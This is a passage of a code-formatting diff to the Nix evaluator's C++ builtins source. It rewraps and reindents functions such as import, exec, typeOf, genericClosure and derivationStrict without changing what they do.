ensureValid(d.drvPath); + if (maybePathsOut) + maybePathsOut->emplace(d.drvPath); + }, }, - [&](const NixStringContextElem::Opaque & o) { - ensureValid(o.path); - if (maybePathsOut) - maybePathsOut->emplace(o.path); - }, - [&](const NixStringContextElem::DrvDeep & d) { - /* Treat same as Opaque */ - ensureValid(d.drvPath); - if (maybePathsOut) - maybePathsOut->emplace(d.drvPath); - }, - }, c.raw); + c.raw); } - if (drvs.empty()) return {}; + if (drvs.empty()) + return {}; if (isIFD && !settings.enableImportFromDerivation) error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", - drvs.begin()->to_string(*store) - ).debugThrow(); + drvs.begin()->to_string(*store)) + .debugThrow(); /* Build/substitute the context. */ std::vector buildReqs; buildReqs.reserve(drvs.size()); - for (auto & d : drvs) buildReqs.emplace_back(DerivedPath { d }); + for (auto & d : drvs) + buildReqs.emplace_back(DerivedPath{d}); buildStore->buildPaths(buildReqs, bmNormal, store); StorePathSet outputsToCopyAndAllow; @@ -115,17 +119,18 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { res.insert_or_assign( DownstreamPlaceholder::fromSingleDerivedPathBuilt( - SingleDerivedPath::Built { + SingleDerivedPath::Built{ .drvPath = drv.drvPath, .output = outputName, - }).render(), - buildStore->printStorePath(outputPath) - ); + }) + .render(), + buildStore->printStorePath(outputPath)); } } } - if (store != buildStore) copyClosure(*buildStore, *store, outputsToCopyAndAllow); + if (store != buildStore) + copyClosure(*buildStore, *store, outputsToCopyAndAllow); if (isIFD) { /* Allow access to the output closures of this derivation. */ @@ -136,7 +141,11 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS return res; } -static SourcePath realisePath(EvalState & state, const PosIdx pos, Value & v, std::optional resolveSymlinks = SymlinkResolution::Full) +static SourcePath realisePath( + EvalState & state, + const PosIdx pos, + Value & v, + std::optional resolveSymlinks = SymlinkResolution::Full) { NixStringContext context; @@ -176,7 +185,7 @@ static void mkOutputString( { state.mkOutputString( attrs.alloc(o.first), - SingleDerivedPath::Built { + SingleDerivedPath::Built{ .drvPath = makeConstantStorePathRef(drvPath), .output = o.first, }, @@ -192,13 +201,18 @@ static void mkOutputString( * @param storePath The path to the `.drv` to import. * @param v Return value */ -void derivationToValue(EvalState & state, const PosIdx pos, const SourcePath & path, const StorePath & storePath, Value & v) { +void derivationToValue( + EvalState & state, const PosIdx pos, const SourcePath & path, const StorePath & storePath, Value & v) +{ auto path2 = path.path.abs(); Derivation drv = state.store->readDerivation(storePath); auto attrs = state.buildBindings(3 + drv.outputs.size()); - attrs.alloc(state.sDrvPath).mkString(path2, { - NixStringContextElem::DrvDeep { .drvPath = storePath }, - }); + attrs.alloc(state.sDrvPath) + .mkString( + path2, + { + NixStringContextElem::DrvDeep{.drvPath = storePath}, + }); attrs.alloc(state.sName).mkString(drv.env["name"]); auto list = state.buildList(drv.outputs.size()); @@ -213,12 +227,15 @@ void derivationToValue(EvalState & state, const PosIdx pos, const SourcePath & p if (!state.vImportedDrvToDerivation) { state.vImportedDrvToDerivation = allocRootValue(state.allocValue()); - state.eval(state.parseExprFromString( - #include "imported-drv-to-derivation.nix.gen.hh" - , state.rootPath(CanonPath::root)), **state.vImportedDrvToDerivation); + state.eval( + state.parseExprFromString( +#include "imported-drv-to-derivation.nix.gen.hh" + , state.rootPath(CanonPath::root)), + **state.vImportedDrvToDerivation); } - state.forceFunction(**state.vImportedDrvToDerivation, pos, "while evaluating imported-drv-to-derivation.nix.gen.hh"); + state.forceFunction( + **state.vImportedDrvToDerivation, pos, "while evaluating imported-drv-to-derivation.nix.gen.hh"); v.mkApp(*state.vImportedDrvToDerivation, w); state.forceAttrs(v, pos, "while calling imported-drv-to-derivation.nix.gen.hh"); } @@ -232,7 +249,8 @@ void derivationToValue(EvalState & state, const PosIdx pos, const SourcePath & p * @param vScope The base scope to use for the import. * @param v Return value */ -static void scopedImport(EvalState & state, const PosIdx pos, SourcePath & path, Value * vScope, Value & v) { +static void scopedImport(EvalState & state, const PosIdx pos, SourcePath & path, Value * vScope, Value & v) +{ state.forceAttrs(*vScope, pos, "while evaluating the first argument passed to builtins.scopedImport"); Env * env = &state.allocEnv(vScope->attrs()->size()); @@ -274,29 +292,24 @@ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * v if (auto storePath = isValidDerivationInStore()) { derivationToValue(state, pos, path, *storePath, v); - } - else if (vScope) { + } else if (vScope) { scopedImport(state, pos, path, vScope, v); - } - else { + } else { state.evalFile(path, v); } } -static RegisterPrimOp primop_scopedImport(PrimOp { - .name = "scopedImport", - .arity = 2, - .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) - { - import(state, pos, *args[1], args[0], v); - } -}); +static RegisterPrimOp primop_scopedImport( + PrimOp{ + .name = "scopedImport", .arity = 2, .fun = [](EvalState & state, const PosIdx pos, Value ** args, Value & v) { + import(state, pos, *args[1], args[0], v); + }}); -static RegisterPrimOp primop_import({ - .name = "import", - .args = {"path"}, - // TODO turn "normal path values" into link below - .doc = R"( +static RegisterPrimOp primop_import( + {.name = "import", + .args = {"path"}, + // TODO turn "normal path values" into link below + .doc = R"( Load, parse, and return the Nix expression in the file *path*. > **Note** @@ -363,11 +376,9 @@ static RegisterPrimOp primop_import({ > > The function argument doesn’t have to be called `x` in `foo.nix`; any name would work. )", - .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) - { - import(state, pos, *args[0], nullptr, v); - } -}); + .fun = [](EvalState & state, const PosIdx pos, Value ** args, Value & v) { + import(state, pos, *args[0], nullptr, v); + }}); #ifndef _WIN32 // TODO implement via DLL loading on Windows @@ -376,24 +387,28 @@ static RegisterPrimOp primop_import({ extern "C" typedef void (*ValueInitializer)(EvalState & state, Value & v); /* Load a ValueInitializer from a DSO and return whatever it initializes */ -void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_importNative(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto path = realisePath(state, pos, *args[0]); - std::string sym(state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.importNative")); + std::string sym( + state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.importNative")); - void *handle = dlopen(path.path.c_str(), RTLD_LAZY | RTLD_LOCAL); + void * handle = dlopen(path.path.c_str(), RTLD_LAZY | RTLD_LOCAL); if (!handle) state.error("could not open '%1%': %2%", path, dlerror()).debugThrow(); dlerror(); ValueInitializer func = (ValueInitializer) dlsym(handle, sym.c_str()); - if(!func) { - char *message = dlerror(); + if (!func) { + char * message = dlerror(); if (message) state.error("could not load symbol '%1%' from '%2%': %3%", sym, path, message).debugThrow(); else - state.error("symbol '%1%' from '%2%' resolved to NULL when a function pointer was expected", sym, path).debugThrow(); + state + .error( + "symbol '%1%' from '%2%' resolved to NULL when a function pointer was expected", sym, path) + .debugThrow(); } (func)(state, v); @@ -401,9 +416,8 @@ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Valu /* We don't dlclose because v may be a primop referencing a function in the shared object file */ } - /* Execute a program and parse its output */ -void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_exec(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.exec"); auto elems = args[0]->listElems(); @@ -411,20 +425,33 @@ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v) if (count == 0) state.error("at least one argument to 'exec' required").atPos(pos).debugThrow(); NixStringContext context; - auto program = state.coerceToString(pos, *elems[0], context, - "while evaluating the first element of the argument passed to builtins.exec", - false, false).toOwned(); + auto program = state + .coerceToString( + pos, + *elems[0], + context, + "while evaluating the first element of the argument passed to builtins.exec", + false, + false) + .toOwned(); Strings commandArgs; for (unsigned int i = 1; i < args[0]->listSize(); ++i) { - commandArgs.push_back( - state.coerceToString(pos, *elems[i], context, - "while evaluating an element of the argument passed to builtins.exec", - false, false).toOwned()); + commandArgs.push_back(state + .coerceToString( + pos, + *elems[i], + context, + "while evaluating an element of the argument passed to builtins.exec", + false, + false) + .toOwned()); } try { auto _ = state.realiseContext(context); // FIXME: Handle CA derivations } catch (InvalidPathError & e) { - state.error("cannot execute '%1%', since path '%2%' is not valid", program, e.path).atPos(pos).debugThrow(); + state.error("cannot execute '%1%', since path '%2%' is not valid", program, e.path) + .atPos(pos) + .debugThrow(); } auto output = runProgram(program, true, commandArgs); @@ -446,24 +473,43 @@ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v) #endif /* Return a string representing the type of the expression. */ -static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_typeOf(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); std::string t; switch (args[0]->type()) { - case nInt: t = "int"; break; - case nBool: t = "bool"; break; - case nString: t = "string"; break; - case nPath: t = "path"; break; - case nNull: t = "null"; break; - case nAttrs: t = "set"; break; - case nList: t = "list"; break; - case nFunction: t = "lambda"; break; - case nExternal: - t = args[0]->external()->typeOf(); - break; - case nFloat: t = "float"; break; - case nThunk: unreachable(); + case nInt: + t = "int"; + break; + case nBool: + t = "bool"; + break; + case nString: + t = "string"; + break; + case nPath: + t = "path"; + break; + case nNull: + t = "null"; + break; + case nAttrs: + t = "set"; + break; + case nList: + t = "list"; + break; + case nFunction: + t = "lambda"; + break; + case nExternal: + t = args[0]->external()->typeOf(); + break; + case nFloat: + t = "float"; + break; + case nThunk: + unreachable(); } v.mkString(t); } @@ -480,7 +526,7 @@ static RegisterPrimOp primop_typeOf({ }); /* Determine whether the argument is the null value. */ -static void prim_isNull(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isNull(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nNull); @@ -498,7 +544,7 @@ static RegisterPrimOp primop_isNull({ }); /* Determine whether the argument is a function. */ -static void prim_isFunction(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isFunction(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nFunction); @@ -514,7 +560,7 @@ static RegisterPrimOp primop_isFunction({ }); /* Determine whether the argument is an integer. */ -static void prim_isInt(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isInt(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nInt); @@ -530,7 +576,7 @@ static RegisterPrimOp primop_isInt({ }); /* Determine whether the argument is a float. */ -static void prim_isFloat(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isFloat(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nFloat); @@ -546,7 +592,7 @@ static RegisterPrimOp primop_isFloat({ }); /* Determine whether the argument is a string. */ -static void prim_isString(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isString(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nString); @@ -562,7 +608,7 @@ static RegisterPrimOp primop_isString({ }); /* Determine whether the argument is a Boolean. */ -static void prim_isBool(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isBool(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nBool); @@ -578,7 +624,7 @@ static RegisterPrimOp primop_isBool({ }); /* Determine whether the argument is a path. */ -static void prim_isPath(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isPath(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nPath); @@ -594,14 +640,11 @@ static RegisterPrimOp primop_isPath({ }); template - static inline void withExceptionContext(Trace trace, Callable&& func) +static inline void withExceptionContext(Trace trace, Callable && func) { - try - { + try { func(); - } - catch(Error & e) - { + } catch (Error & e) { e.pushTrace(trace); throw; } @@ -613,14 +656,17 @@ struct CompareValues const PosIdx pos; const std::string_view errorCtx; - CompareValues(EvalState & state, const PosIdx pos, const std::string_view && errorCtx) : state(state), pos(pos), errorCtx(errorCtx) { }; + CompareValues(EvalState & state, const PosIdx pos, const std::string_view && errorCtx) + : state(state) + , pos(pos) + , errorCtx(errorCtx) {}; - bool operator () (Value * v1, Value * v2) const + bool operator()(Value * v1, Value * v2) const { return (*this)(v1, v2, errorCtx); } - bool operator () (Value * v1, Value * v2, std::string_view errorCtx) const + bool operator()(Value * v1, Value * v2, std::string_view errorCtx) const { try { if (v1->type() == nFloat && v2->type() == nInt) @@ -629,35 +675,38 @@ struct CompareValues return v1->integer().value < v2->fpoint(); if (v1->type() != v2->type()) state.error("cannot compare %s with %s", showType(*v1), showType(*v2)).debugThrow(); - // Allow selecting a subset of enum values - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wswitch-enum" +// Allow selecting a subset of enum values +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (v1->type()) { - case nInt: - return v1->integer() < v2->integer(); - case nFloat: - return v1->fpoint() < v2->fpoint(); - case nString: - return strcmp(v1->c_str(), v2->c_str()) < 0; - case nPath: - // Note: we don't take the accessor into account - // since it's not obvious how to compare them in a - // reproducible way. - return strcmp(v1->payload.path.path, v2->payload.path.path) < 0; - case nList: - // Lexicographic comparison - for (size_t i = 0;; i++) { - if (i == v2->listSize()) { - return false; - } else if (i == v1->listSize()) { - return true; - } else if (!state.eqValues(*v1->listElems()[i], *v2->listElems()[i], pos, errorCtx)) { - return (*this)(v1->listElems()[i], v2->listElems()[i], "while comparing two list elements"); - } + case nInt: + return v1->integer() < v2->integer(); + case nFloat: + return v1->fpoint() < v2->fpoint(); + case nString: + return strcmp(v1->c_str(), v2->c_str()) < 0; + case nPath: + // Note: we don't take the accessor into account + // since it's not obvious how to compare them in a + // reproducible way. + return strcmp(v1->payload.path.path, v2->payload.path.path) < 0; + case nList: + // Lexicographic comparison + for (size_t i = 0;; i++) { + if (i == v2->listSize()) { + return false; + } else if (i == v1->listSize()) { + return true; + } else if (!state.eqValues(*v1->listElems()[i], *v2->listElems()[i], pos, errorCtx)) { + return (*this)(v1->listElems()[i], v2->listElems()[i], "while comparing two list elements"); } - default: - state.error("cannot compare %s with %s; values of that type are incomparable", showType(*v1), showType(*v2)).debugThrow(); - #pragma GCC diagnostic pop + } + default: + state + .error( + "cannot compare %s with %s; values of that type are incomparable", showType(*v1), showType(*v2)) + .debugThrow(); +#pragma GCC diagnostic pop } } catch (Error & e) { if (!errorCtx.empty()) @@ -667,31 +716,32 @@ struct CompareValues } }; - typedef std::list> ValueList; - -static Bindings::const_iterator getAttr( - EvalState & state, - Symbol attrSym, - const Bindings * attrSet, - std::string_view errorCtx) +static Bindings::const_iterator +getAttr(EvalState & state, Symbol attrSym, const Bindings * attrSet, std::string_view errorCtx) { auto value = attrSet->find(attrSym); if (value == attrSet->end()) { - state.error("attribute '%s' missing", state.symbols[attrSym]).withTrace(noPos, errorCtx).debugThrow(); + state.error("attribute '%s' missing", state.symbols[attrSym]) + .withTrace(noPos, errorCtx) + .debugThrow(); } return value; } -static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_genericClosure(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], noPos, "while evaluating the first argument passed to builtins.genericClosure"); /* Get the start set. */ - auto startSet = getAttr(state, state.sStartSet, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); + auto startSet = getAttr( + state, state.sStartSet, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); - state.forceList(*startSet->value, noPos, "while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure"); + state.forceList( + *startSet->value, + noPos, + "while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure"); ValueList workSet; for (auto elem : startSet->value->listItems()) @@ -703,8 +753,10 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a } /* Get the operator. */ - auto op = getAttr(state, state.sOperator, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); - state.forceFunction(*op->value, noPos, "while evaluating the 'operator' attribute passed as argument to builtins.genericClosure"); + auto op = getAttr( + state, state.sOperator, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); + state.forceFunction( + *op->value, noPos, "while evaluating the 'operator' attribute passed as argument to builtins.genericClosure"); /* Construct the closure by applying the operator to elements of `workSet', adding the result to `workSet', continuing until @@ -718,22 +770,34 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a Value * e = *(workSet.begin()); workSet.pop_front(); - state.forceAttrs(*e, noPos, "while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure"); + state.forceAttrs( + *e, + noPos, + "while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure"); - auto key = getAttr(state, state.sKey, e->attrs(), "in one of the attrsets generated by (or initially passed to) builtins.genericClosure"); + auto key = getAttr( + state, + state.sKey, + e->attrs(), + "in one of the attrsets generated by (or initially passed to) builtins.genericClosure"); state.forceValue(*key->value, noPos); - if (!doneKeys.insert(key->value).second) continue; + if (!doneKeys.insert(key->value).second) + continue; res.push_back(e); /* Call the `operator' function with `e' as argument. */ Value newElements; state.callFunction(*op->value, {&e, 1}, newElements, noPos); - state.forceList(newElements, noPos, "while evaluating the return value of the `operator` passed to builtins.genericClosure"); + state.forceList( + newElements, + noPos, + "while evaluating the return value of the `operator` passed to builtins.genericClosure"); /* Add the values returned by the operator to the work set. */ for (auto elem : newElements.listItems()) { - state.forceValue(*elem, noPos); // "while evaluating one one of the elements returned by the `operator` passed to builtins.genericClosure"); + state.forceValue(*elem, noPos); // "while evaluating one one of the elements returned by the `operator` + // passed to builtins.genericClosure"); workSet.push_back(elem); } } @@ -745,11 +809,12 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a v.mkList(list); } -static RegisterPrimOp primop_genericClosure(PrimOp { - .name = "__genericClosure", - .args = {"attrset"}, - .arity = 1, - .doc = R"( +static RegisterPrimOp primop_genericClosure( + PrimOp{ + .name = "__genericClosure", + .args = {"attrset"}, + .arity = 1, + .doc = R"( `builtins.genericClosure` iteratively computes the transitive closure over an arbitrary relation defined by a function. It takes *attrset* with two attributes named `startSet` and `operator`, and returns a list of attribute sets: @@ -799,95 +864,100 @@ static RegisterPrimOp primop_genericClosure(PrimOp { > [ { key = 5; } { key = 16; } { key = 8; } { key = 4; } { key = 2; } { key = 1; } ] > ``` )", - .fun = prim_genericClosure, -}); + .fun = prim_genericClosure, + }); - -static RegisterPrimOp primop_break({ - .name = "break", - .args = {"v"}, - .doc = R"( +static RegisterPrimOp primop_break( + {.name = "break", + .args = {"v"}, + .doc = R"( In debug mode (enabled using `--debugger`), pause Nix expression evaluation and enter the REPL. Otherwise, return the argument `v`. )", - .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) - { - if (state.canDebug()) { - auto error = Error(ErrorInfo { - .level = lvlInfo, - .msg = HintFmt("breakpoint reached"), - .pos = state.positions[pos], - }); + .fun = [](EvalState & state, const PosIdx pos, Value ** args, Value & v) { + if (state.canDebug()) { + auto error = Error( + ErrorInfo{ + .level = lvlInfo, + .msg = HintFmt("breakpoint reached"), + .pos = state.positions[pos], + }); - state.runDebugRepl(&error); - } + state.runDebugRepl(&error); + } - // Return the value we were passed. - v = *args[0]; - } -}); + // Return the value we were passed. + v = *args[0]; + }}); -static RegisterPrimOp primop_abort({ - .name = "abort", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_abort( + {.name = "abort", + .args = {"s"}, + .doc = R"( Abort Nix expression evaluation and print the error message *s*. )", - .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) - { - NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, - "while evaluating the error message passed to builtins.abort").toOwned(); - state.error("evaluation aborted with the following error message: '%1%'", s).setIsFromExpr().debugThrow(); - } -}); + .fun = [](EvalState & state, const PosIdx pos, Value ** args, Value & v) { + NixStringContext context; + auto s = + state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtins.abort") + .toOwned(); + state.error("evaluation aborted with the following error message: '%1%'", s) + .setIsFromExpr() + .debugThrow(); + }}); -static RegisterPrimOp primop_throw({ - .name = "throw", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_throw( + {.name = "throw", + .args = {"s"}, + .doc = R"( Throw an error message *s*. This usually aborts Nix expression evaluation, but in `nix-env -qa` and other commands that try to evaluate a set of derivations to get information about those derivations, a derivation that throws an error is silently skipped (which is not the case for `abort`). )", - .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) - { - NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, - "while evaluating the error message passed to builtin.throw").toOwned(); - state.error(s).setIsFromExpr().debugThrow(); - } -}); + .fun = [](EvalState & state, const PosIdx pos, Value ** args, Value & v) { + NixStringContext context; + auto s = + state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtin.throw") + .toOwned(); + state.error(s).setIsFromExpr().debugThrow(); + }}); -static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value ** args, Value & v) { try { state.forceValue(*args[1], pos); v = *args[1]; } catch (Error & e) { NixStringContext context; - auto message = state.coerceToString(pos, *args[0], context, - "while evaluating the error message passed to builtins.addErrorContext", - false, false).toOwned(); + auto message = state + .coerceToString( + pos, + *args[0], + context, + "while evaluating the error message passed to builtins.addErrorContext", + false, + false) + .toOwned(); e.addTrace(nullptr, HintFmt(message), TracePrint::Always); throw; } } -static RegisterPrimOp primop_addErrorContext(PrimOp { - .name = "__addErrorContext", - .arity = 2, - // The normal trace item is redundant - .addTrace = false, - .fun = prim_addErrorContext, -}); +static RegisterPrimOp primop_addErrorContext( + PrimOp{ + .name = "__addErrorContext", + .arity = 2, + // The normal trace item is redundant + .addTrace = false, + .fun = prim_addErrorContext, + }); -static void prim_ceil(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_ceil(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto value = state.forceFloat(*args[0], args[0]->determinePos(pos), - "while evaluating the first argument passed to builtins.ceil"); + auto value = state.forceFloat( + *args[0], args[0]->determinePos(pos), "while evaluating the first argument passed to builtins.ceil"); v.mkInt(ceil(value)); } @@ -904,9 +974,10 @@ static RegisterPrimOp primop_ceil({ .fun = prim_ceil, }); -static void prim_floor(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_floor(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto value = state.forceFloat(*args[0], args[0]->determinePos(pos), "while evaluating the first argument passed to builtins.floor"); + auto value = state.forceFloat( + *args[0], args[0]->determinePos(pos), "while evaluating the first argument passed to builtins.floor"); v.mkInt(floor(value)); } @@ -925,16 +996,15 @@ static RegisterPrimOp primop_floor({ /* Try evaluating the argument. Success => {success=true; value=something;}, * else => {success=false; value=false;} */ -static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_tryEval(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto attrs = state.buildBindings(2); /* increment state.trylevel, and decrement it when this function returns. */ MaintainCount trylevel(state.trylevel); - ReplExitStatus (* savedDebugRepl)(ref es, const ValMap & extraEnv) = nullptr; - if (state.debugRepl && state.settings.ignoreExceptionsDuringTry) - { + ReplExitStatus (*savedDebugRepl)(ref es, const ValMap & extraEnv) = nullptr; + if (state.debugRepl && state.settings.ignoreExceptionsDuringTry) { /* to prevent starting the repl from exceptions withing a tryEval, null it. */ savedDebugRepl = state.debugRepl; state.debugRepl = nullptr; @@ -982,9 +1052,10 @@ static RegisterPrimOp primop_tryEval({ }); /* Return an environment variable. Use with care. */ -static void prim_getEnv(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_getEnv(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getEnv")); + std::string name( + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getEnv")); v.mkString(state.settings.restrictEval || state.settings.pureEval ? "" : getEnv(name).value_or("")); } @@ -1006,7 +1077,7 @@ static RegisterPrimOp primop_getEnv({ }); /* Evaluate the first argument, then return the second argument. */ -static void prim_seq(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_seq(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); @@ -1025,7 +1096,7 @@ static RegisterPrimOp primop_seq({ /* Evaluate the first argument deeply (i.e. recursing into lists and attrsets), then return the second argument. */ -static void prim_deepSeq(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_deepSeq(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValueDeep(*args[0]); state.forceValue(*args[1], pos); @@ -1045,7 +1116,7 @@ static RegisterPrimOp primop_deepSeq({ /* Evaluate the first expression and print it on standard error. Then return the second expression. Useful for debugging. */ -static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_trace(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); if (args[0]->type() == nString) @@ -1076,11 +1147,12 @@ static RegisterPrimOp primop_trace({ .fun = prim_trace, }); -static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_warn(EvalState & state, const PosIdx pos, Value ** args, Value & v) { // We only accept a string argument for now. The use case for pretty printing a value is covered by `trace`. // By rejecting non-strings we allow future versions to add more features without breaking existing code. - auto msgStr = state.forceString(*args[0], pos, "while evaluating the first argument; the message passed to builtins.warn"); + auto msgStr = + state.forceString(*args[0], pos, "while evaluating the first argument; the message passed to builtins.warn"); { BaseError msg(std::string{msgStr}); @@ -1093,7 +1165,9 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value if (state.settings.builtinsAbortOnWarn) { // Not an EvalError or subclass, which would cause the error to be stored in the eval cache. - state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow(); + state.error("aborting to reveal stack trace of warning, as abort-on-warn is set") + .setIsFromExpr() + .debugThrow(); } if (state.settings.builtinsTraceDebugger || state.settings.builtinsDebuggerOnWarn) { state.runDebugRepl(nullptr); @@ -1125,11 +1199,10 @@ static RegisterPrimOp primop_warn({ .fun = prim_warn, }); - /* Takes two arguments and evaluates to the second one. Used as the * builtins.traceVerbose implementation when --trace-verbose is not enabled */ -static void prim_second(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_second(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[1], pos); v = *args[1]; @@ -1139,11 +1212,7 @@ static void prim_second(EvalState & state, const PosIdx pos, Value * * args, Val * Derivations *************************************************************/ -static void derivationStrictInternal( - EvalState & state, - const std::string & name, - const Bindings * attrs, - Value & v); +static void derivationStrictInternal(EvalState & state, const std::string & name, const Bindings * attrs, Value & v); /* Construct (as a unobservable side effect) a Nix derivation expression that performs the derivation described by the argument @@ -1152,18 +1221,20 @@ static void derivationStrictInternal( derivation; `drvPath' containing the path of the Nix expression; and `type' set to `derivation' to indicate that this is a derivation. */ -static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.derivationStrict"); auto attrs = args[0]->attrs(); /* Figure out the name first (for stack backtraces). */ - auto nameAttr = getAttr(state, state.sName, attrs, "in the attrset passed as argument to builtins.derivationStrict"); + auto nameAttr = + getAttr(state, state.sName, attrs, "in the attrset passed as argument to builtins.derivationStrict"); std::string drvName; try { - drvName = state.forceStringNoCtx(*nameAttr->value, pos, "while evaluating the `name` attribute passed to builtins.derivationStrict"); + drvName = state.forceStringNoCtx( + *nameAttr->value, pos, "while evaluating the `name` attribute passed to builtins.derivationStrict"); } catch (Error & e) { e.addTrace(state.positions[nameAttr->pos], "while evaluating the derivation attribute 'name'"); throw; @@ -1190,10 +1261,13 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * * often results from the composition of several functions * (derivationStrict, derivation, mkDerivation, mkPythonModule, etc.) */ - e.addTrace(nullptr, HintFmt( + e.addTrace( + nullptr, + HintFmt( "while evaluating derivation '%s'\n" " whose name attribute is located at %s", - drvName, pos)); + drvName, + pos)); throw; } } @@ -1214,15 +1288,14 @@ static void checkDerivationName(EvalState & state, std::string_view drvName) // is optional. // Note that Nixpkgs generally won't trigger this, because `mkDerivation` // sanitizes the name. - state.error("invalid derivation name: %s. Please pass a different '%s'.", Uncolored(e.message()), "name").debugThrow(); + state + .error( + "invalid derivation name: %s. Please pass a different '%s'.", Uncolored(e.message()), "name") + .debugThrow(); } } -static void derivationStrictInternal( - EvalState & state, - const std::string & drvName, - const Bindings * attrs, - Value & v) +static void derivationStrictInternal(EvalState & state, const std::string & drvName, const Bindings * attrs, Value & v) { checkDerivationName(state, drvName); @@ -1231,17 +1304,23 @@ static void derivationStrictInternal( std::optional jsonObject; auto pos = v.determinePos(noPos); auto attr = attrs->find(state.sStructuredAttrs); - if (attr != attrs->end() && - state.forceBool(*attr->value, pos, - "while evaluating the `__structuredAttrs` " - "attribute passed to builtins.derivationStrict")) + if (attr != attrs->end() + && state.forceBool( + *attr->value, + pos, + "while evaluating the `__structuredAttrs` " + "attribute passed to builtins.derivationStrict")) jsonObject = json::object(); /* Check whether null attributes should be 